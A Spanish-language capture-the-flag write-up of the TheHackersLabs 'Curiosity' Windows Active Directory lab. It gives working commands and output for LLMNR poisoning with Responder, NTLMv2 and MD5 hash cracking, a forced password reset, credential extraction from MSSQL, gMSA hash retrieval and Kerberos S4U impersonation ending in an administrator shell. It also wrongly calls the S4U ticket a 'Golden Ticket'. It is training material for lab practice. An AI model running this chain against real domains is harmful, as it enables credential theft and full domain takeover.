Curiosity – TheHackersLabs Link to heading

  • OS: Windows
  • Difficulty: Easy
  • Platform: TheHackersLabs

‘TheHackersLabs’ Avatar


Resumen Link to heading

“Curiosity” es una máquina enfocada a entornos Active Directory de la plataforma TheHackersLabs. Somos capaces de realizar un LLMNR poisining y así sniffear un hash NTLMv2 para un usuario. Podemos crackear este hash y así ganar acceso a la máquina víctima. Luego de realizar un reconocimiento del dominio con la herramienta Bloodhound, vemos que somos capaces de cambiar la contraseña de otro usuario dentro del dominio; al cual se la cambiamos y logramos pivotear a éste. Este nuevo usuario es capaz de leer bases de datos dentro del sistema. Entre ellas somos capaces de encontrar un hash de contraseña de un nuevo usuario el cual somos nuevamente capaces de crackear. Este nuevo usuario puede leer el hash de una cuenta GMSA. Este última cuenta es capaz de solicitar un ticket como el usuario Administrador, lo cual nos permite tomar control total sobre el sistema.


User / Usuario Link to heading

Empezamos con un rápido y silencioso escaneo con Nmap sobre la máquina víctima:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 192.168.56.8

Encontramos múltiples puertos abiertos: 53 DNS, 88 Kerberos, 135 Microsoft RPC, 139 NetBios, 389 LDAP,445 SMB, 5985 WinRM; entre otros.

Luego, aplicamos algunos scripts de reconocimiento sobre estos puertos con la flag -sVC:

❯ sudo nmap -sVC -p53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,47001,49664,49665,49666,49670,49674,49675,49676,49687,49691,49700,49718 192.168.56.8

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-18 22:31 -03
Nmap scan report for 192.168.56.8
Host is up (0.0030s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2024-11-18 20:32:09Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hackme.thl, Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC.hackme.thl
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1::<unsupported>, DNS:DC.hackme.thl
| Not valid before: 2024-10-16T13:11:58
|_Not valid after:  2025-10-16T13:11:58
|_ssl-date: 2024-11-18T20:33:13+00:00; -5h00m02s from scanner time.
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc         Microsoft Windows RPC
49665/tcp open  msrpc         Microsoft Windows RPC
49666/tcp open  msrpc         Microsoft Windows RPC
49670/tcp open  msrpc         Microsoft Windows RPC
49674/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc         Microsoft Windows RPC
49676/tcp open  msrpc         Microsoft Windows RPC
49687/tcp open  msrpc         Microsoft Windows RPC
49691/tcp open  msrpc         Microsoft Windows RPC
49700/tcp open  msrpc         Microsoft Windows RPC
49718/tcp open  msrpc         Microsoft Windows RPC
MAC Address: 08:00:27:2C:03:AB (Oracle VirtualBox virtual NIC)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -5h00m02s, deviation: 0s, median: -5h00m02s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required
|_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 08:00:27:2c:03:ab (Oracle VirtualBox virtual NIC)
| smb2-time:
|   date: 2024-11-18T20:33:04
|_  start_date: 2024-11-18T20:12:28

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 84.10 seconds

Estamos ante un entorno Active Directory.

Apicando un rápido escaneo sobre el servicio SMB con la herramienta NetExec obtenemos:

❯ nxc smb 192.168.56.8

SMB         192.168.56.8    445    DC               [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)

Tenemos un dominio: hackme.thl y un nombre de máquina DC. Podemos agregar tanto el dominio como el FQDN a nuestro archivo /etc/hosts:

❯ echo '192.168.56.8 hackme.thl DC.hackme.thl' | sudo tee -a /etc/hosts

Podemos entonces intentar un LLMNR poisoning con la herramienta Responder:

❯ sudo responder -I eth0
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.5.0
<SNIP>
[+] Listening for events...

[*] [LLMNR]  Poisoned answer sent to fe80::34b6:e423:d273:59ec for name SQLserver
[*] [NBT-NS] Poisoned answer sent to 192.168.56.8 for name SQLSERVER (service: File Server)
[*] [LLMNR]  Poisoned answer sent to 192.168.56.8 for name SQLserver
[*] [LLMNR]  Poisoned answer sent to fe80::34b6:e423:d273:59ec for name SQLserver
[*] [LLMNR]  Poisoned answer sent to 192.168.56.8 for name SQLserver
[SMB] NTLMv2-SSP Client   : fe80::34b6:e423:d273:59ec
[SMB] NTLMv2-SSP Username : hackme\jdoe
[SMB] NTLMv2-SSP Hash     : jdoe::hackme:15f4feba58b67f3b:E53D00AAA9CA2BB25393E643B90A7B24:010100000000000000F188730A3ADB01F0BF68385C4193E40000000002000800430051005A00310001001E00570049004E002D00560049004B005A0059004E0053005A0033005400390004003400570049004E002D00560049004B005A0059004E0053005A003300540039002E00430051005A0031002E004C004F00430041004C0003001400430051005A0031002E004C004F00430041004C0005001400430051005A0031002E004C004F00430041004C000700080000F188730A3ADB0106000400020000000800300030000000000000000000000000400000AAF8ED33381DC3A80A9A6E568ACAE138A51AF89F59FEBCAC04FBCE748F24CCA20A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000

Obtenemos un hash para el usuario jdoe. Guardamos este hash en un archivo llamado jdoe_hash.

Luego, tratamos de crackear este hash a través de un Brute Force Password Cracking con la herramienta JohnTheRipper junto con el diccionario de contraseñas rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt jdoe_hash

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:06 DONE (2024-11-18 22:55) 0g/s 2066Kp/s 2066Kc/s 2066KC/s  0841079575..*7¡Vamos!
Session completed.

Pero no somos capaces de crackearlo.

Podemos tratar de utilizar diccionarios del repositorio SecLists, utilizando todos ellos en un oneliner de Bash (además, dado que el hash encontrado es un hash de tipo NTLMv2, éste no requiere de mucha potencia de cálculo):

❯ for dict in /usr/share/seclists/Passwords/*.txt; do echo -e "\n\n[+] Attempting with $dict dictionary...\n"; john --wordlist=${dict} jdoe_hash; done


[+] Attempting with /usr/share/seclists/Passwords/2020-200_most_used_passwords.txt dictionary...

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:00 DONE (2024-11-18 23:18) 0g/s 4925p/s 4925c/s 4925C/s 123456..angel1
Session completed.

<SNIP>

[+] Attempting with /usr/share/seclists/Passwords/seasons.txt dictionary...

Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
$pr1ng@          (jdoe)
1g 0:00:00:00 DONE (2024-11-18 23:18) 33.33g/s 85333p/s 85333c/s 85333C/s $pr1ng..Spr1ng1
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
<SNIP>

Uno de los diccionarios logra crackear el hash:

❯ john --show jdoe_hash

jdoe:$pr1ng@:hackme:15f4feba58b67f3b:E53D00AAA9CA2BB25393E643B90A7B24:010100000000000000F188730A3ADB01F0BF68385C4193E40000000002000800430051005A00310001001E00570049004E002D00560049004B005A0059004E0053005A0033005400390004003400570049004E002D00560049004B005A0059004E0053005A003300540039002E00430051005A0031002E004C004F00430041004C0003001400430051005A0031002E004C004F00430041004C0005001400430051005A0031002E004C004F00430041004C000700080000F188730A3ADB0106000400020000000800300030000000000000000000000000400000AAF8ED33381DC3A80A9A6E568ACAE138A51AF89F59FEBCAC04FBCE748F24CCA20A0010000000000000000000000000000000000009001C0063006900660073002F00530051004C00730065007200760065007200000000000000000000000000

1 password hash cracked, 0 left

Tenemos credenciales: jdoe:$pr1ng@.

Podemos revisar si esta contraseña funciona para el servicio SMB con la herramienta NetExec:

❯ nxc smb 192.168.56.8 -u 'jdoe' -p '$pr1ng@'

SMB         192.168.56.8    445    DC               [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.8    445    DC               [+] hackme.thl\jdoe:$pr1ng@

Este usuario también tiene acceso a la máquina víctima a través del servicio WinRM:

❯ nxc winrm 192.168.56.8 -u 'jdoe' -p '$pr1ng@'

WINRM       192.168.56.8    5985   DC               [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM       192.168.56.8    5985   DC               [+] hackme.thl\jdoe:$pr1ng@ (Pwn3d!)

De manera que usamos las credenciales de este usuario junto con la herramienta evil-winrm para ganar acceso a la máquina víctima:

❯ evil-winrm -i 192.168.56.8 -u 'jdoe' -p '$pr1ng@'

Evil-WinRM shell v3.6

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\jdoe\Documents>

Podemos obtener la flag de usuario en el Desktop de este usuario.

NT Authority/System - Administrador Link to heading

Revisando información acerca de este usuario tenemos:

*Evil-WinRM* PS C:\Users\jdoe\Documents> net user jdoe

User name                    jdoe
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            17/10/2024 11:36:44
Password expires             Never
Password changeable          18/10/2024 11:36:44
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   18/11/2024 21:52:46

Logon hours allowed          All

Local Group Memberships      *Remote Management Use
Global Group memberships     *IT Admins            *Domain Users
The command completed successfully.

Hay un grupo IT Admins el cual no es uno por defecto de los que vienen en un entorno Windows; es un grupo personalizado.

Podemos subir entonces SharpHound (la cual puede ser descargada desde su repositorio de Github) to get info about the Active Directory environment. Since we have a session with evil-winrm we can copy a binary SharpHound.exe en la ruta donde habíamos iniciado sesión con evil-winrm en nuestra máquina de atacante y subirla a la máquina víctima ejecutando el comando upload:

*Evil-WinRM* PS C:\Users\jdoe\Downloads> upload SharpHound.exe

Info: Uploading /home/gunzf0x/OtherMachines/TheHackersLabs/Curiosity/content/SharpHound.exe to C:\Users\jdoe\Downloads\SharpHound.exe

Data: 2075988 bytes of 2075988 bytes copied

Info: Upload successful!

Una vez subido, simplemente ejecutamos esta herramienta:

*Evil-WinRM* PS C:\Users\jdoe\Downloads> .\SharpHound.exe -c All

2024-11-18T22:31:12.8851814+01:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2024-11-18T22:31:13.1351870+01:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2024-11-18T22:31:13.1826864+01:00|INFORMATION|Initializing SharpHound at 22:31 on 18/11/2024
<SNIP>
 1 name to SID mappings.
 1 machine sid mappings.
 4 sid to domain mappings.
 0 global catalog mappings.
2024-11-18T22:31:17.3078327+01:00|INFORMATION|SharpHound Enumeration Completed at 22:31 on 18/11/2024! Happy Graphing!

Esto debería de generar 2 archivos, un archivo .bin y otro .zip. En nuestro caso nos interesa el archivo .zip, de manera que lo descargamos desde la máquina víctima a nuestra máquina de atacantes utilizando el comando download de evil-winrm:

*Evil-WinRM* PS C:\Users\jdoe\Downloads> dir


    Directory: C:\Users\jdoe\Downloads


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----       11/18/2024  10:31 PM          36816 20241118223115_BloodHound.zip
-a----       11/18/2024  10:31 PM           1852 MGVmMzZlNzEtOGNkZi00MTFiLThlMmUtNTBhODliZjlhNDgz.bin
-a----       11/18/2024  10:28 PM        1556992 SharpHound.exe


*Evil-WinRM* PS C:\Users\jdoe\Downloads> download 20241118223115_BloodHound.zip

Info: Downloading C:\Users\jdoe\Downloads\20241118223115_BloodHound.zip to 20241118223115_BloodHound.zip

Info: Download successful!

Subimos el archivo .zip a Bloodhound (en mi caos uso la Community Edition, o CE). Buscando por el grupo IT Admins, y clickeando en Outbound Object Control podemos ver:

Curiosity 1

Tenemos el permiso ForceChangePassord y GenericWrite sobre el usuario dba_adm. Es decir, podríamos cambiar su contraseña u obtener su hash de usuario.

dba_adm user does not belong to a special group or have special rights. But its name indicates that it should be able to access to some database service.

Iremos por la primera opción; cambiar su contraseña. Para ello usamos la herramienta impacket-changepasswd:

❯ impacket-changepasswd HACKME.THL/'dba_adm'@192.168.56.8 -newpass 'gunzf0x123$!' -altuser 'jdoe' -altpass '$pr1ng@' -no-pass -reset

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Setting the password of HACKME.THL\dba_adm as HACKME.THL\jdoe
[*] Connecting to DCE/RPC as HACKME.THL\jdoe
[*] Password was changed successfully.
[!] User no longer has valid AES keys for Kerberos, until they change their password again.

Revisamos si el cambio de contraseña ha tenido efecto:

❯ nxc smb 192.168.56.8 -u 'dba_adm' -p 'gunzf0x123$!'

SMB         192.168.56.8    445    DC               [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.8    445    DC               [+] hackme.thl\dba_adm:gunzf0x123$!

❯ nxc winrm 192.168.56.8 -u 'dba_adm' -p 'gunzf0x123$!'

WINRM       192.168.56.8    5985   DC               [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM       192.168.56.8    5985   DC               [+] hackme.thl\dba_adm:gunzf0x123$! (Pwn3d!)

Funcionó.

El nombre dba_admin sugiere que este usuariuo está relacionado a bases de datos. Para ver si hay algún servicio MSSQL corriendo podemos solicitar los registros:

*Evil-WinRM* PS C:\Users\jdoe\Documents> reg query "HKLM\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL"

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Microsoft SQL Server\Instance Names\SQL
    SQLEXPRESS    REG_SZ    MSSQL15.SQLEXPRESS

Tenemos un server llamado SQLEXPRESS.

Ergo, el nombre del servicio completo es DC\SQLEXPRESS (el cual es <nombre de la máquina>\<servicio>).

Podemos usar la herramienta sqlcmd para conectarnos a la base de datos internamente. Primero, revisemos a qué tenemos acceso. Podemos ejecutar algunos comandos para MSSQL dados por HackTricks:

*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'select @@version;'

------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)
        Sep 24 2019 13:48:23
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2016 Datacenter 10.0 <X64> (Build 14393: ) (Hypervisor)


(1 rows affected)

Revisando las bases de datos:

*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT name FROM master.dbo.sysdatabases;'

name
--------------------------------------------------------------------------------------------------------------------------------
master
tempdb
model
msdb
CredentialsDB

(5 rows affected)

Podemos ver una base de datos llamada CredentialsDB. Si tratamos de leer ésta como el usuario jdoe no podemos:

*Evil-WinRM* PS C:\Users\jdoe\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT * FROM CredentialsDB.INFORMATION_SCHEMA.TABLES;'

Msg 916, Level 14, State 2, Server DC\SQLEXPRESS, Line 1
The server principal "HACKME\jdoe" is not able to access the database "CredentialsDB" under the current security context.

Pero si intentamos esto mismo como el usuario dba_admin, sí podemos leerla:

*Evil-WinRM* PS C:\Users\dba_adm\Documents> sqlcmd -E -S 'DC\SQLEXPRESS' -Q 'SELECT * FROM CredentialsDB.INFORMATION_SCHEMA.TABLES;'

TABLE_CATALOG                                                                                                                    TABLE_SCHEMA                                                                                                                     TABLE_NAME                                                                                                                       TABLE_TYPE
-------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------------------------------------------- ----------
CredentialsDB                                                                                                                    dbo                                                                                                                              Credentials                                                                                                                      BASE TABLE

(1 rows affected)

Dentro podemos ver una tabla llamada Credentials. Podemos extraer su contenido ejecutando:

*Evil-WinRM* PS C:\Users\dba_adm\Documents> sqlcmd -E -S DC\SQLEXPRESS -d CredentialsDB -Q "SELECT * FROM dbo.Credentials;"

ID          Username                                           Password
----------- -------------------------------------------------- ----------------------------------------------------------------------------------------------------
          1 sqlsvc                                             23012244084524e51305f015727b890b

(1 rows affected)

Un hash para el usuario sqlsvc, el cual guardamos en nuestra máquina de atacantes.

Este parece ser un hash de tipo MD5; tal cual se puede verificar con hash-identifier:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: 23012244084524e51305f015727b890b

Possible Hashs:
[+] MD5
<SNIP>

Podemos entonces intentar otro Brute Force Password Cracking. Si usamos el diccionario rockyou.txt nuevamente no somos capaces de crackear la contraseña. Al igual a como lo hicimos con el usuario jdoe, podemos utilizar diccionarios de SecLists en un simple oneliner de Bash:

❯ for dict in /usr/share/seclists/Passwords/Leaked-Databases/*.txt; do echo -e "\n\n[+] Attempting with $dict dictionary...\n"; john --wordlist=$dict hash_db_credentials --format=Raw-MD5; done

<SNIP>
[+] Attempting with /usr/share/seclists/Passwords/Leaked-Databases/fortinet-2021_passwords.txt dictionary...

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
P@ssword1234!    (?)
1g 0:00:00:00 DONE (2024-11-19 01:38) 50.00g/s 2726Kp/s 2726Kc/s 2726KC/s p@55w0rd..P0l1c14.2019
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
<SNIP>

Tenemos credenciales: sqlvc:P@ssword1234!.

Revisamos si esta nueva credencial funciona:

❯ nxc smb 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!'

SMB         192.168.56.8    445    DC               [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
SMB         192.168.56.8    445    DC               [+] hackme.thl\sqlsvc:P@ssword1234!

❯ nxc winrm 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!'

WINRM       192.168.56.8    5985   DC               [*] Windows 10 / Server 2016 Build 14393 (name:DC) (domain:hackme.thl)
WINRM       192.168.56.8    5985   DC               [+] hackme.thl\sqlsvc:P@ssword1234! (Pwn3d!)

Funciona.

De vuelta a Bloodhound, buscando por este nuevo usuario, revisamos qué es capaz de hacer:

Curiosity 2

Este usuario tiene el permiso ReadGMSAPassword sobre la machine account GMSA_SVC$.

Podemos obtener fácilmente el hash de esta cuenta utilizando NetExec junto con su modo LDAP y el módulo --gmsa:

❯ nxc ldap 192.168.56.8 -u 'sqlsvc' -p 'P@ssword1234!' --gmsa

SMB         192.168.56.8    445    DC               [*] Windows 10 / Server 2016 Build 14393 x64 (name:DC) (domain:hackme.thl) (signing:True) (SMBv1:False)
LDAPS       192.168.56.8    636    DC               [+] hackme.thl\sqlsvc:P@ssword1234!
LDAPS       192.168.56.8    636    DC               [*] Getting GMSA Passwords
LDAPS       192.168.56.8    636    DC               Account: GMSA_SVC$            NTLM: b7a596258a854cdcf1d44d42d877c3bb

Luego, buscamos qué es lo que puede hacer la cuenta GMSA_SVC$ en Bloodhound. Buscamos por un “camino” (path) el cual nos dé acceso al usuario Administrator. Podemos ver que podemos solicitar un ticket al servicio CIFS (es decir, SMB) y así impersonar al usuario Administrator.

Curiosity 3

Para ello podemos usar la herramienta getST.py de Impacket (junto con la herramienta faketime y ntpdate para evitar el error KRB_AP_ERR_SKEW(Clock skew too great)):

❯ faketime "$(ntpdate -q 192.168.56.8 | cut -d ' ' -f 1,2)" impacket-getST -spn cifs/DC.hackme.thl -impersonate administrator -dc-ip 192.168.56.8 'hackme.thl/GMSA_SVC$' -hashes ':b7a596258a854cdcf1d44d42d877c3bb' -no-pass

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@cifs_DC.hackme.thl@HACKME.THL.ccache

Hemos generado así un Golden Ticket. Podemos usar este ticket para autenticarnos ante cualquier servicio. Por ejemplo, lo podemos usar con la herramienta wmiexec.py para loguearnos en la máquina víctima:

❯ KRB5CCNAME=administrator@cifs_DC.hackme.thl@HACKME.THL.ccache impacket-wmiexec -k -no-pass Administrator@DC.hackme.thl
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[-] SMB SessionError: code: 0xc0000016 - STATUS_MORE_PROCESSING_REQUIRED - {Still Busy} The specified I/O request packet (IRP) cannot be disposed of because the I/O operation is not complete.

Pero obtenemos un error. Afortunadamente, este error es similar al error de reloj de Kerberos el cual puede ser fácilmente solucionado usando faketime:

❯ KRB5CCNAME=administrator@cifs_DC.hackme.thl@HACKME.THL.ccache faketime "$(ntpdate -q 192.168.56.8 | cut -d ' ' -f 1,2)" impacket-wmiexec -k -no-pass administrator@DC.hackme.thl -target-ip 192.168.56.8

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami

hackme\administrator

GG. Podemos leer el archivo root.txt en el directorio del usuario Administrator.

~Happy Hacking.